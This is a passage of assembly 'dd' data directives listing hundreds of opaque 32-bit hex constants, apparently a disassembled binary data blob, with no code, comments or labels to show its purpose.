1C2A923h, 212E1C44h, 2FD1095Fh, 56BBD824h dd 0FEFD07B0h, 78F049C5h, 439E8B98h, 22C8BA01h, 0D6745DBBh dd 4F63FC55h, 1046E3ABh, 5825349Fh, 0FAA24971h, 0BDCF6F20h dd 0C250BC05h, 5A00FC22h, 2EA814Ah, 23F4CB63h, 8872D701h dd 0C468A2B0h, 3E279F26h, 3F28B9Eh, 0E8BD174Ch, 0E610016Ch dd 593F602Bh, 3F30F277h, 0F12E10F7h, 0B50820AEh, 6D02A6E1h dd 0F660B4Eh, 549610A3h, 7095AA29h, 1FA8B1D0h, 892FE093h dd 0F2D3A3C3h, 0AD2D1C55h, 71BADE52h, 2D828CCh, 95005D5Bh dd 12A32778h, 68075777h, 52973339h, 2F66E9F1h, 0E9D32E33h dd 8FAE803Ch, 25E97842h, 0C7C8E7DCh, 0C001C08h, 54CE8179h dd 0B7581519h, 200127E0h, 0BF316797h, 0EDC50F92h, 0DE1F9685h dd 15B9708h, 706E39BFh, 0F1A3C20h, 6B29902Dh, 0D1BD0349h dd 517ADA2Eh, 345164Ch, 0A3E3F20h, 66048E76h, 18A0DF5h dd 0E91CB6A9h, 4854E603h, 511B02DEh, 5DC11D44h, 0CEC52E7Fh dd 2EF769BFh, 0C37A95C1h, 0D8FE2894h, 129BC786h, 0B9315C68h dd 27AE5414h, 0F7201C1h, 0AA70C8B7h, 14DC82A1h, 291D9126h dd 4016153h, 1EB573D8h, 0B51B9F70h, 582882CCh, 5B263710h dd 0F596120Eh, 0B55AFC8Ah, 0C5CA394Dh, 0F0E67EAFh, 0CE76625Ah dd 0E7EED185h, 63914EB0h, 83001F53h, 14B702C2h, 38B5A1DCh dd 0F6C6416Fh, 34697C5Eh, 1A1F3010h, 0EB01233Bh, 5CB27327h dd 1690E3D8h, 0C76A3D14h, 33B381F8h, 4A00C27Bh, 0E4433112h dd 14E924DEh, 0BA2C89E0h, 0BC096D09h, 151E0D4h, 59FE9248h dd 3276CB9Ah, 0F02144A9h, 0A7073140h, 9589CEBFh, 3F6030EEh dd 6851ADEFh, 8C034E83h, 0E3414A47h, 2B738D3Bh, 0EC4E6463h dd 4044A9C8h, 0F7728827h, 0F35BF927h, 0DA7008B0h, 206CF027h dd 5A69F2B6h, 1F665C5Fh, 0D5945A87h, 231C9500h, 0D3F60E9Bh dd 0DA574158h, 0D823C1A3h, 59E9C5D8h, 0E75F8069h, 8AE98669h dd 52590929h, 4D505153h, 38259F81h, 0C051A2B0h, 0D25A5F7Eh dd 4B85871Dh, 0A53F5661h, 2683CDABh, 0EDD012C4h, 2C979E86h dd 9F277B26h, 234DC7A6h, 1BB780B5h, 3FAD8291h, 2225EF31h dd 5C16E389h, 0A696F3FCh, 5CF1627h, 3039A5B9h, 762F817Bh dd 0F0067453h, 375A63B0h, 5E232828h, 0E90F9844h, 3332D62Fh dd 50D8D215h, 78525A09h, 0E9275194h, 69538967h, 1D2F2C33h dd 3E7C12Ch, 0E84DEF80h, 0F85A28D5h, 40E97A67h, 0BD21584Dh dd 25F29160h, 0CAC51B97h, 26145F9Bh, 33E7EB5Eh, 0BE63404Bh dd 46FE7D5Eh, 6AEDF2F2h, 4A07DE18h, 0E9D217F7h, 56D1AC0Ch dd 6055077h, 22FCCAB7h, 4993E82h, 6BAAB15Eh, 22989CFh dd 0A2669846h, 40972BBCh, 0C340FEDDh, 2870F714h, 69011F1Fh dd 10FBB2B9h, 1D5F06C3h, 0DC8356F0h, 84D9AD5Eh, 29486861h dd 4B11DA2Ah, 0EC83BFDDh, 199BE66h, 45AC961Eh, 0BCF7290Ah dd 94868013h, 0F2D04A12h, 5C665940h, 0F068C26Ch, 79C3663Dh dd 0B760457h, 825F11AAh, 0A2693A08h, 0F70D7450h, 1A0AD169h dd 0CF4840E8h, 16E98048h, 8A71A35Eh, 0D0F6B353h, 0ECE32FF6h dd 20EBBF82h, 7E2AA3E1h dd 628B9BD8h, 0CD01BFDDh, 0A0BC4E3h, 81565DEAh, 5A46828h dd 80D54D20h, 0B29A1CF6h, 0B6984C20h, 0EB444F9Fh, 8108DA1h dd 0F1400386h, 0E72A05BFh, 8357F825h, 84FC19E3h, 3EA0B27Ch dd 0CBFA858h, 80820997h, 0F3208FFEh, 0FFE92F3Ch, 0F7539883h dd 112F8A79h, 168BE62Dh, 4745D4Bh, 0F64E59A4h, 8A0E27D4h dd 0E8DBCBDDh, 54CCCAh, 0B85035EEh, 7CDE2E5Fh, 0EF370500h dd 0C229FB1Ah, 0CAE91358h, 674B45Ah, 8858A785h, 51BB9025h dd 0FBFC096h, 364BFB05h, 55EFC246h, 0EC5879BEh, 9A12C003h dd 0E910836Dh, 1484C24Dh, 10DDB753h, 0B603B28Ah, 0F5C680F1h dd 0C8945C87h, 73A2594Ah, 97773375h, 70E8C185h, 89586DD5h dd 0F30102F9h, 0FC6A685Eh, 0DA058CF2h, 1E05C32Dh, 15E5940h dd 8D110BAh, 0C4E45D24h, 866CF353h, 3F793BE9h, 585CDD29h dd 9D51FC7Ah, 3D2A7620h, 312670BAh, 1310E5F9h, 7A1EF24Fh dd 6651DC2Dh, 0E91055A6h, 4F0B302Fh, 415F4568h, 0CC6C430h dd 6B144CBFh, 1A6D070Fh, 6399E906h, 2D4AF390h, 0D10BCB2h dd 1A5E2D39h, 0CEB15F0Eh, 882D6B05h, 2AD2053Eh, 7665BE10h dd 5201A4A3h, 0DA722EBAh, 83C2EE50h, 6393281h, 41C73AD1h dd 31986059h, 0E1084B96h, 0DD4E7BF1h, 0BE05707Ch, 0C08C6A04h dd 380E6D3h, 0D130581Dh, 614C19Eh, 7E3949ADh, 9FF0DDE8h dd 0B88C8097h, 0EA45DA9h, 0C1E8D169h, 0E6350740h, 163B834Eh dd 0CA880448h, 0A4AC5F2Fh, 0E9505E05h, 5F93D768h, 4A5A962Bh dd 92702400h, 0DD8F761h, 0E62518D2h, 0E9480E7Fh, 0A417CF2Ah dd 0C7C68104h, 0BB814C69h, 0EF115127h, 0D3D83B02h, 5542409Ah dd 90BE59Ch, 5C240BCDh, 5DE90E06h, 0BE257A7Eh, 2A5F8D41h dd 0B1EF014Fh, 0D800C60h, 0E9124B66h, 0FBA2A928h, 8D25326h dd 800BDB56h, 0FE9307C7h, 901648A2h, 2423C4E8h, 36C317Fh dd 6ADD269Fh, 0E8280C75h, 285AA77Ah, 4FEB384h, 1395CE1Fh dd 42FB6B0Eh, 0D8565BDEh, 599C02F6h, 0F9E97651h, 71DA024Bh dd 0C9483C4h, 0DC56D209h, 29B45368h, 0C5B4422Ch, 72BA2DE1h dd 9AB10D5h, 6A7ABD02h, 9BE01657h, 545048B4h, 504AECD3h dd 977C6ECAh, 2353E48Bh, 59524648h, 34712FBDh, 5CB4F393h dd 4027411Eh, 93196A82h, 0BEB81202h, 7C670660h, 2A0D0113h dd 201F5B1Eh, 3792EB16h, 50C2B69Ch, 3E1D4468h, 0E9880158h dd 5B1F3418h, 51A5A39Ch, 35FC8045h, 0CB814C8Eh, 701F0B0Bh dd 9E0F407Dh, 3C0592CCh, 9C24A5E1h, 7EBD8574h, 0AA3DC40Bh dd 98816423h, 503E5987h, 35C7A20Eh, 0A8805370h, 2FC63BFAh dd 13A0D389h, 65BF4421h, 52909A8h, 40BEF85Fh, 0C605F04Eh dd 6F25EE22h, 0BE0C795Eh, 14318606h, 2D51266Ch, 3A2F0907h dd 533D1929h, 892AB292h, 6166F654h, 2B6CA968h, 134C8D8Ch dd 14782A21h, 0F600AB23h, 77CD5279h, 0EFF1DEF7h, 200810C0h dd 3F76EEFCh, 0F3823BB6h, 0FB075550h, 0D8BEB6E9h, 0DF2D1080h dd 4DED7E17h, 0FA1A08h, 0B558E788h, 0FD7C309Ch, 0D0901A5Fh dd 0EFC872F1h, 40600960h, 0BFA04528h, 1273F7DCh, 27EF0125h dd 9E1A5772h, 0D479E383h, 0A04ED20Ah, 28E2BBB6h, 0AE0360C7h dd 2F212A14h, 5FFB0907h, 998935E9h, 708BB5DAh, 0AC56B01Eh dd 5BDF8Bh, 7643AD52h, 9D81B888h, 0CD808001h, 0D99230AFh dd 4CB527BAh, 4EBFF8DCh, 113F4B93h, 3305D320h, 8B58BB89h dd 68C844CDh, 0C9712900h, 0B9515A57h, 420F174Fh, 41540875h dd 5B01FCA6h, 0CA31D494h, 4FFFCF2Ah, 0D3C980B2h, 205D7529h dd 2704F198h, 5880428h, 0C1163630h, 422DC8B1h, 0C7595907h dd 3904DBEh, 0E566D9BDh, 5406D743h, 4EB19714h, 0BBF18147h dd 340E2BB3h, 311DC23Ah, 2EF08648h, 0EA2D36C5h, 550830Bh dd 716059Ch, 5A81BFE2h, 2A66C331h, 0C21744A0h, 4FAC6861h dd 0B1629EF4h, 3A80DDE6h, 0E9E130F7h, 0F8C5944Fh, 47504CA3h dd 0DA311211h, 466B0751h, 88D3987h, 3B724008h, 0EBB81128h dd 2CC2772Eh, 161CBCBAh, 41A84A6Bh, 0EADAF192h, 0CAF6227Dh dd 0FD7C0B92h, 62FE2964h, 40405135h, 0A31E3A41h, 2881B945h dd 42E9FB56h, 0F24E9438h, 3968E02Ch, 50CC9F41h, 0A7256A38h dd 0B64AF029h, 2776870Fh, 6C086F1Eh, 0DD02591Eh, 765C011Bh dd 340C68E5h, 0F91C2428h, 19908462h, 0B82874AAh, 0B7E9F1EFh dd 4B577824h, 2CFA368h, 0D245F3EDh, 3C28F76Bh, 0BAE92508h dd 982FAD9Ch, 97DE4D28h, 940A0164h, 0D47EA014h, 24B0051Dh dd 95D831ADh, 0E9423E5Bh, 130D7EA8h, 0B263FCADh, 2DDE7C36h dd 59D2DD9Ah, 9829949Fh, 0B3055A35h, 47B2013Bh, 0C2833CC9h dd 68E2A881h, 0DB12C606h, 0F3A243CBh, 8AD8007Fh, 0F913517Dh dd 0C3635DFEh, 6595B0C5h, 0A28F2962h, 542D991h, 0A4BB0F66h dd 4FBC436Ah, 9FFBF125h, 2A66095Ch, 279057EEh, 6E1985Fh dd 0ED3B0D7Bh, 3559313Fh, 7BCD3F5Fh, 0AE9CA802h, 52F5C1B5h dd 0C822B18h, 933D0688h, 336A9B81h, 0CF01DCD8h, 881BAB8h dd 0E9994859h, 0F942BC2Fh, 2097282Eh, 0BF31336Eh, 0FA899F1Ch dd 0EC20A20h, 2A8D2851h, 2254EAC0h, 17F4648h, 68081CD0h dd 0BF2C141Ch, 0BAEF6027h, 3D76091Bh, 85E0B9E9h, 0AB700459h dd 5E2CD03Ah, 5CCAD4B2h, 0FD2999AFh, 0ADD9C758h, 0C95A39EFh dd 12291459h, 0C49FE952h, 8145E98Eh, 0D9FD63EFh, 4128E9F4h dd 0EB1E3009h, 4A60594h, 0FF21F08h, 0A2F3FD88h, 0B2DE6067h dd 4A16DD22h, 0E9958C5Eh, 48BE4127h, 0B46D8A9Bh, 908BE2B4h dd 0AA40F614h, 6905F4F5h, 0F056DE80h, 0E92FEBDCh, 5D210959h dd 1FEA8F9Bh, 5B855E19h, 0AC39C680h, 3ECD231h, 1C472182h dd 1E48F272h, 5BDE848Ch, 0B8EE4CB0h, 0BAF604A2h, 0E12CDFD2h dd 1A967E37h, 0F3C97B1Eh, 24780C6Ah, 0D3092D75h, 78C7CAD6h dd 0A0C0A031h, 398039Fh, 4E59CE21h, 798EDC04h, 0E2826295h dd 0E68902C2h, 6A85FC60h, 66677A37h, 5AE90D2Ch, 5FD60902h dd 7CE1C881h, 223E8B17h, 88A2104Ch, 1C842C2Bh, 27CB02FDh dd 10DF6CE0h, 265214D7h, 323932E8h, 22575BF9h, 0D93EEABBh dd 720A822Fh, 95D0BE7h, 0A0C29393h, 60AB62D0h, 4E720C1Bh dd 50971FA5h, 0BC1A0EA3h, 0BAA52289h, 0D921BC13h, 0B8F05265h dd 0B59D7F59h, 8ADF5C42h, 0C602F6E0h, 0FD37FA06h, 0F791E581h dd 565BCFD0h, 92759E88h, 463BBF41h, 0AE5473EAh, 1BC2813h dd 82EB80B0h, 0E539E916h, 752F9FB9h, 58C68EC8h, 0DFE1214Fh dd 5B382A6Ah, 96CD0581h, 91D7DE79h, 1193254h, 0EC3CDAE9h dd 0E17F0BDEh, 2509F54h, 8CE98033h, 0DEE4BD48h, 7E267909h dd 8FA1627Bh, 40E01349h, 0A760E29Ah, 22C55A50h, 0A5589F00h dd 0EC235005h, 908DB844h, 0D80882DBh, 0F7EB370Dh, 80EEF444h dd 9084FAAh, 6A0C4E69h, 0F0AE4078h, 0E1515E5Eh, 4BCC3A2Dh dd 10AE606Ch, 391725B8h, 212D111Ah, 84E26A0Bh, 75ACB6E0h dd 0C4BEA892h, 8003212Fh, 0D9C2ECC5h, 303F9050h, 0F183B0FAh dd 13DBF75Ah, 0E807EBC1h, 8FB01E1h, 0BF68E988h, 5E58A474h dd 27C38B6Ah, 0BFE10293h, 362941D7h, 0A82FC4E8h, 4C33F9F6h dd 0EF4C8E11h, 0C6381604h, 26E7001Bh, 16421205h, 4AA263E9h dd 3C855B35h, 22A7EFAFh, 0F1812049h, 0BC73E6Fh, 50CBBE7Fh dd 0EE12C3D9h, 29F14A2Eh, 0C010B9C6h, 0C151FD58h, 0BD00F4D3h dd 612E1F01h, 0A3022E71h, 7D637408h, 2E5E000h, 235BC03Eh dd 0D747C7A1h, 50DB61C9h dd 0B772B773h, 0E98962E5h, 5FEC400Ch, 0D3F73993h, 0C0E14AFAh dd 7C17BE67h, 0DA97DF50h, 0CB40B1BCh, 805D1D3Ah, 53300322h dd 6AF51814h, 816B4F06h, 3440A891h, 5112F636h, 0CD043F1Ch dd 31BE0C0Dh, 18D9FD1h, 0CE315E66h, 18052CE1h, 15611008h dd 0C707AA9Fh, 0AECDBA0Bh, 0E27CC971h, 2579FC4Dh, 13BF91D9h dd 79D01D47h, 405C23D2h, 3F283178h, 0F37B97F7h, 0BCD543Eh dd 0FE0EB3E9h, 0EDDE419Ah, 8ED5E652h, 16D66BF0h, 81FB90B1h dd 7240139Fh, 7B5A6E87h, 30495D3Fh, 0DF306775h, 0CB09FEB1h dd 9F20FE70h, 0F5C8A0ACh, 0AB0618C7h, 0E75B7A37h, 6D79B24h dd 0A964530Eh, 4C01216h, 58AD5D08h, 0E4E3681Eh, 0D1C4696Eh dd 0AF54BA98h, 0C70CF6D8h, 0C6F172Bh, 0CE9017B6h, 8EC710B5h dd 4C651204h, 0D1F1F6Eh, 51E92FC5h, 986D13BEh, 440CE17Bh dd 4A4625FBh, 0CB282E20h, 0B3E601FEh, 0BB072331h, 187FBA1Ah dd 1F6053F4h, 9D4F711Ah, 0F53148E0h, 0B70FE912h, 68C29AB8h dd 484806FEh, 6D99E663h, 54565884h, 50090BF3h, 0DD29F1E9h dd 182E802h, 8970E95Ch, 6C18B5EEh, 0A8BA5657h, 276CBB3Eh dd 81A57021h, 11608907h, 4FCC985Eh, 0C91C300Fh, 60E16F73h dd 0E97606F3h, 853EBB9Ch, 64AE1514h, 4AE04BC0h, 295D25DCh dd 804B8C2h, 0EB2CBE5Eh, 0B4DB97EAh, 8F8078ACh, 0E95A2047h dd 89094B8Ah, 94774258h, 0C1997E0Bh, 0FCF9F766h, 1ECCB9AEh dd 41DA2F09h, 0A4F02AA0h, 937A9721h, 273EA4Ch, 0D089F1F5h dd 2666555Ah, 2EC91290h, 1C09703Eh, 803C2BB9h, 5CC98136h dd 6B1CA242h, 6D56841h, 0FC48191h, 0F600D3Ch, 108609E6h dd 0B4E27DD1h, 67683BC2h, 5B5BD989h, 0B48D2BF4h, 0CE6E2598h dd 0E61CA29Fh, 0F480012Fh, 65B5E137h, 0B3C33EF1h, 9E45F08h dd 2C225821h, 5F04C0B4h, 18A5D2AFh, 0BA07745Eh, 35950969h dd 810524C0h, 4D4713CAh, 376CA0AFh, 709D3816h, 0D8B8301h dd 7F108Ch, 77BD559Dh, 5B287948h, 0F6259F01h, 5033FCB3h dd 2E052AADh, 4799E966h, 0DEDC9F40h, 0D201FEC6h, 0FA4E81F8h dd 0C7896AD0h, 0A937F220h, 0FEC9C7A5h, 65D56A20h, 0C9BE24FCh dd 0A4287F69h, 802D9A41h, 0A40538D8h, 705305A5h, 0D4413261h dd 77F9C390h, 963AA581h, 46010215h, 0EC270D2h, 0B1AD72E1h dd 0CAF12CD8h, 534FBD70h, 3B4E58F0h, 907E2D0Ah, 0BCBE00C7h dd 3152A737h, 89955EF3h, 13BEF953h, 6E0FBE10h, 114F9621h dd 0FD125A0Eh, 0DE687A82h, 7B2FCF5Eh, 0FC6664D9h, 6DABA55Fh dd 0F2CE6F42h, 5763D14Bh, 0D43500CDh, 3091716h, 82404401h dd 480D04DAh, 0A82D68C3h, 17C42994h, 4E8D165h, 0FA1C386Ch dd 0BDCB785Dh, 0E4574831h, 14153DFBh, 0EE6203AFh, 4D2C2472h dd 2F8801AAh, 4E29188Ah, 311534B9h, 50CF2DA6h, 0E176D10Ah dd 0F1C2B227h, 0B7569615h, 4CB5D2B0h, 4AE6F964h, 0A265FC0Eh dd 7CBCD8F7h, 3BBF2460h, 0C582A5C9h, 74092E25h, 0EB01C2A7h dd 602039DAh, 0B151123Bh, 67A5B820h, 0F46D0306h, 44F623C9h dd 0BD22743h, 8907B5D3h, 0BF4353E7h, 0F20B9C3h, 8237B560h dd 0D3D20D8Bh, 2FE5F9F7h, 0A313A48Eh, 0F613C8B3h, 8FF9E14Bh dd 0E916C05Ch, 0DC7558DFh, 0DE4DF706h, 0FA025BD4h, 0E0FC1A37h dd 0B102D9Ch, 0F5010C86h, 1708B608h, 2941D25Eh, 89444B7Ch dd 5B24DBA7h, 75090F88h, 843137C4h, 0B13EF821h, 0E3821662h dd 8A3070F1h, 30CB68E1h, 30B40B7Ah, 2EC8EA82h, 1D27C07h dd 51C02DAh, 14C2D601h, 10C080Dh, 550A8B14h, 4B478BFAh dd 9E45C09Eh, 12A9536Eh, 2A1DF377h, 5814DC40h, 5CCCB01h dd 11BA3B76h, 7BCAC782h, 0E27FB718h, 800143C3h, 0B02AF9F5h dd 278E55Dh, 923CC53Dh, 20AF5CEBh, 1D736809h, 0D16143BCh dd 0F270C5FEh, 49324E02h, 0D907B0C8h, 89A7AA53h, 0A021888Fh dd 6F4D5EF5h, 7B33A297h, 0E101BACBh, 49FAE990h, 73F66E5h dd 0BEB9490Dh, 8228B108h, 0F35A80Fh, 54D66F1Ch, 0B14040Bh dd 1C8403B0h, 0E9A15CACh, 39028A2h, 0EB4031B8h, 61C2A26Ah dd 6428381Dh, 126ABC92h, 0C8A1CC85h, 1E767B50h, 2B70BF10h dd 49125D4Eh, 0E9943CBAh, 0DBB2A427h, 0B55C9203h, 0E67B78CAh dd 12ED9F12h, 929551ADh, 67F9B354h, 7042A7A0h, 18848B06h dd 9887FE03h, 0D280951Ch, 1F98FFBh, 8B9F5FE4h, 9F8847E4h dd 99EE438h, 0D91B87B6h, 0AFFE89C3h, 47207490h, 0C9A2BEB9h dd 0B72D682h, 163C99D1h, 7E449991h, 0D28858C5h, 74282D68h dd 0C6B64B91h, 39288DF4h, 73C1875Bh, 493F13A0h, 0E284402Bh dd 80DAE8FDh, 0D05D9DB8h, 0F1C9B50Dh, 0E835DCF7h, 1EBC3703h dd 0A766182Dh, 0D68D8099h, 9214E573h, 81DB7134h, 0EA30305Bh dd 6C6D311Fh, 59568512h, 2EA28CF8h, 475888A9h, 850571C0h dd 0EA3BAA09h, 740F0988h, 1B072576h, 2BE17F97h, 2A7391BFh dd 8316BC12h, 0ED5E965Fh, 0E246348Bh, 59070067h, 95116768h dd 74598612h, 57977316h, 7EED8B69h, 947D5232h, 0C15F0BF4h dd 730008E1h, 6DB37379h, 0D1A9314Eh, 0EE065F94h, 0C2CFC01h dd 78192A0Fh, 23263F3Ch, 68170820h, 0B4D24716h, 3D3F0A22h dd 0DEFD7F98h, 0AAAA91E5h, 3CD24002h, 868F9FA2h, 0FB296601h dd 0C079F566h, 0F2BBC76h, 15B7C0B7h, 4087A033h, 0FE772123h dd 5EEB1C34h, 6014ACE4h, 93C63B0Eh, 61311A3Ch, 52E2A01h dd 1601653Ah, 28064775h, 8E4C73C5h, 0EAD14C04h, 4AC2D039h dd 25ADADFh, 79D73289h, 2BE0FA01h, 7995F037h, 35532F5Fh dd 788DE926h, 7AFA3FA9h, 898D968Ch, 0FF5C27B7h, 40AA1A4h dd 0B9920E34h, 0AE241DFCh, 9BC02FF4h, 0BB80E877h, 157305A1h dd 88D9895Fh, 0D5E840Ah, 5BA0E38Ch, 6667DC3Dh, 5FE03B5Eh dd 4C8569C5h, 2C241E7Dh, 0ADE876E9h, 5A4F07CCh, 520493CAh dd 0AFA51DE9h, 0B3C0AC24h, 0BC0839h, 99EE81CAh, 16C4A3Ah dd 0CCC651h, 0F0895808h, 0C7035498h, 67B46A1h, 40B601h dd 1AB73A8Fh, 0CC7C2E35h, 8B291C3Eh, 0EC2545E9h, 2FDFBEBCh dd 0E98B9F71h, 0BDEEF042h, 2B8D9FC9h, 2BAF4885h, 5EDF448Ch dd 27D2969Fh, 3BDAEE62h, 91727A00h, 73E58138h, 74961D43h dd 9F0594C1h, 2D038549h, 69865E77h, 0E15AC9D2h, 6C02C572h dd 0EF897303h, 2380835Dh, 4DB79394h, 0CC5F6F28h, 0DB48F779h dd 0A2E401C9h, 9FE99A86h, 0DC5F2D68h, 8590625h, 628211D7h dd 52131948h, 23C90C55h, 278C5D1h, 2A9466Eh, 77C380EBh dd 0CCB01660h, 43F0981h, 12BDAD1Ah, 68BB02FEh, 0D4F67F05h dd 0CAFC1165h, 0C2A2A04Eh, 3F4A14FEh, 0C10494CAh, 0BE5302E3h dd 16DA7710h, 74C052E9h, 17F2B551h, 1979ED80h, 6F0E22Bh dd 18C30FFDh, 0A0B33E75h, 0A967E9B7h, 0E96E57BDh, 0D88FCBF4h dd 902B5E60h, 48ACF055h, 825FDE58h, 5ECA0513h, 186456D6h dd 0A5843A21h, 0C4CDD11Ch, 59968851h, 0E90DC28Ch, 39539A4Ah dd 0A14A5ACh, 0B21028ADh, 0B050661Dh, 4A8972ACh, 177F643Ah dd 79639568h, 5C11DA0Bh, 22E4120h, 0E96ABE0Ah, 75D4CC3Ch dd 539F1DEAh, 5A45FED9h, 5B314E48h, 9337F2C1h, 19094B13h dd 0E118DDE7h, 0EEBF07E4h, 0F8681318h, 5B049A36h, 5DBE14C2h dd 197E4FE0h, 83852086h, 8FBFABF8h, 0C98EB777h, 8A762B58h dd 0B3004A74h, 8DF380BDh, 9FDE4C88h, 0E2B70B7Ah, 0F5055E9h dd 2E2B214Ch, 5010A48h, 82880E33h, 8B3A2031h, 0DA004BFDh dd 754E262Dh, 7B089D7Ah dd 0DAB02507h, 7582F55Eh, 92EAAA85h, 54D22918h, 0C25F56F4h dd 78DC40D0h, 0C67A40CEh, 0F017212h, 0C5A716FFh, 0F4971621h dd 0FD2FE91Ch, 5AF272D7h, 0BF4D80F6h, 6002859h, 65F78121h dd 987A1A0Ch, 2D5A0576h, 0FF096B9Ch, 0D2862941h, 0D2408463h dd 4BA504B8h, 0ED5F8222h, 38750889h, 7E54509Bh, 94C7BD8Bh dd 86B0671Fh, 3F3D73BAh, 0EAAE6205h, 0C6E2002Ah, 4253C539h dd 441DEC0h, 8231758Ah, 7CC63441h, 1658E1DFh, 0BF0D9D3Bh dd 898C2507h, 8D25BDAh, 0F327CBC7h, 93CAC93h, 0F498FA47h dd 283ACF2Ch, 5B78F4F8h, 0D8127A70h, 0C9FDB2E9h, 153BCD02h dd 8B8777A5h, 7FAF92C0h, 0F827325Ch, 57210202h, 2ABBE91Ch dd 0AABB9477h, 5B4A7541h, 42AF8742h, 0B4387704h, 59A1FACh dd 51B925A3h, 0A7CC2A3Fh, 42A84C13h, 0C81924A7h, 8140F743h dd 77432A68h, 0B99226C5h, 0B05BEBF7h, 5D15F509h, 0D9C72013h dd 83ADED60h, 4207F38h, 272E840Fh, 7D1F3F4h, 0F737161Ah dd 0ECD524DDh, 0D0070F5Bh, 0FE72F9AEh, 54BB6007h, 61BD6E4Bh dd 926B43C7h, 1DD30279h, 0BAABE904h, 297EF5B5h, 3E883EACh dd 0A2869566h, 883BEB82h, 84A1AFD7h, 0A9C858F8h, 0C209BF3Fh dd 9D7B54D6h, 0F04DBDCAh, 0E92529E6h, 0D74C4207h, 3609BA89h dd 599E255Dh, 53DE97F8h, 0BEB1B0D7h, 29A573A3h, 3252206Dh dd 4BEE71C9h, 130C703Bh, 1F64A563h, 0E44C35A1h, 5E31F6Fh dd 54D42CFBh, 5DF20997h, 6057FBB9h, 791633EBh, 24A15F1Dh dd 58AD0FBEh, 82C5A230h, 0BAD460Bh, 88A70F01h, 88363086h dd 0B8C455E6h, 0C34021E5h, 1A8654C9h, 1C4EC5F6h, 41A799A4h dd 1C9C7BE6h, 1890B471h, 0B951BF01h, 0D2F2EBBFh, 3646094Ch dd 0A5D49283h, 0B5392481h, 0E50BC071h, 4D5F606h, 87EF73FEh dd 1EC3043Dh, 0E1337BAh, 0D459EBF7h, 0FDB2504Bh, 0DA4AF2FCh dd 0B1034FF3h, 52C9FEEAh, 887D6601h, 0C68059EEh, 43F698E7h dd 3F05B730h, 285321CAh, 66577BD3h, 4F2F65A4h, 0C192E280h dd 31363EF5h, 32E9FDC4h, 0B226F39Dh, 0CCC2FBC0h, 0DE406EB8h dd 12E3B766h, 94C31A3h, 0BF02C8BCh, 0F712B44Bh, 28367F63h dd 3437B9E8h, 0B80E852Dh, 8052C503h, 611B2918h, 0DD3B89B7h dd 3CD1E587h, 65B8A89Ah, 1C316C33h, 9082A835h, 26C49C8Ch dd 0ED64CBE2h, 1FB7BD01h, 0EE317FE7h, 0B0F78730h, 899A5C44h dd 0C7CD2E7h, 0F0252575h, 0BFF49BE8h, 410C3F61h, 5968ED85h dd 2F08C91Dh, 0C25F63E2h, 81A7761Dh, 0A1706656h, 0DCE28927h dd 0D958FA74h, 7F48C298h, 0EFA8B45Ah, 0ED11B735h, 0DD97F131h dd 8790500h, 29127A05h, 71B2DD0h, 29D461F3h, 0E351C189h dd 4555C6EAh, 0E55E27A8h, 2748557Ah, 5582F669h, 2948DF66h dd 7C895E46h, 80EDCACh, 392CC7A5h, 0F73074B1h, 14970205h dd 0B60EF328h, 0BB8EC506h, 0C7E356A1h, 26BE5601h, 3C78DF62h dd 0FB4873E0h, 2FAE01E3h, 41E932E4h, 59350B6Fh, 0CAFDC4C8h dd 5814B80h, 0D919DECBh, 0E110FE73h, 608505FCh, 0A2BCBB2Eh dd 7E5167Ch, 98DD0345h, 2DD30252h, 67AE3DC8h, 392F0D02h dd 0C65726A2h, 789A9893h, 67A5D5Eh, 501D2D06h, 0C1251A10h dd 595ED658h, 7403E2Ah, 0F739EF6h, 64A8F628h, 0F0301682h dd 50E3EDC1h, 802EB6B2h, 2815CE3Fh, 8C29FFEh, 753A60E9h dd 9B82366Ch, 0CB166FFBh, 5CAC6AFCh, 68906825h, 83A00F89h dd 0FB0D62DFh, 4882F97Eh, 8340E430h, 988105A0h, 52CA5A8Fh dd 0F302A90Eh, 1AB05494h, 0C40D09D5h, 55500059h, 92758C68h dd 0B8345D23h, 84FA0D8Eh, 25E1ACB6h, 0A5DD8EB1h, 0D6F97DCCh dd 2219774Ch, 10BF1BE4h, 0BD54515Dh, 592F19EDh, 355A32E5h dd 6459A7A7h, 2D1A3AAh, 4F45B3BAh, 698DF00Ch, 82D70FAEh dd 0D4A983h, 881D69BFh, 0D7F74912h, 2D4862B2h, 0A2BBC344h dd 3634C00Ah, 5A493758h, 8548ED8h, 0CF03587Eh, 2899CD92h dd 0C568A06Dh, 4836962Dh, 0C823129Fh, 81695360h, 0E8EC1218h dd 9F26BC4Bh, 45A78047h, 17E90A0Ah, 3FAADA8h, 90B88F20h dd 0E44A9833h, 0E7789D97h, 9B2A7831h, 45516D0Ch, 1FE946BDh dd 12E55D9h, 0E2480578h, 7021453h, 0B022C8E9h, 3C60C2BDh dd 0D33F424Bh, 0BEEE4E93h, 81F05128h, 5CBA7C78h, 23104A7Eh dd 64046CC5h, 9B5C1353h, 1013F873h, 8712366Fh, 203CF1F3h dd 0C34105CEh, 6A690242h, 0F52FF70Dh, 127C93E6h, 2C5D20E1h dd 8AA0C35Ah, 25A22F68h, 80A52498h, 0FE01C51Ch, 6AC08EEh dd 68005413h, 0E9EB281Dh, 25E29475h, 340E6E7Eh, 85C2AF2Eh dd 0C4ED10D9h, 3CC098CBh, 0E012922Dh, 874EF361h, 0F6B1B86Ch dd 0BC884BD4h, 0D0C02DFBh, 97455B73h, 7990F0EBh, 0C6EC7DBEh dd 0FA78AF0Bh, 7F892283h, 0BF475FD6h, 9673662Fh, 0BA02272Ah dd 93D4A143h, 502CD362h, 910254F5h, 5D683D56h, 91076D93h dd 309A5B9h, 0B8D1B152h, 0F4BD376Bh, 3138A04Dh, 0EA85C095h dd 0A47317F3h, 40D2BD02h, 52545E08h, 5E1631Ch, 9629EDBDh dd 0E0153F89h, 0E52FB1BEh, 7E4180F0h, 8621CC05h, 57D350Ch dd 29DF445Fh, 0B25ABC9h, 5A81C4A4h, 8566B230h, 0BCE0DE31h dd 89FC0495h, 0E6F021AFh, 404F25B2h, 0F695BA38h, 0BE2001CBh dd 7B895BEDh, 0C49C2031h, 4CBF2B9Dh, 9B60205Ah, 515E5B25h dd 65EA62A4h, 6CBD18h, 0BF25345Dh, 49BAAF9Dh, 0F865E99Dh dd 0E95FF384h, 5A26E867h, 0A32E7CD9h, 5A284E60h, 261A94B1h dd 0C4CA3DCFh, 92ABA980h, 0D0503EE3h, 132A16A3h, 3F370174h dd 6A46384Fh, 6C167190h, 0A04E5A85h, 4A091265h, 0E046E936h dd 0EFE82146h, 613AFBD9h, 3A47BDC9h, 0FB4B0B9Ch, 0A650C104h dd 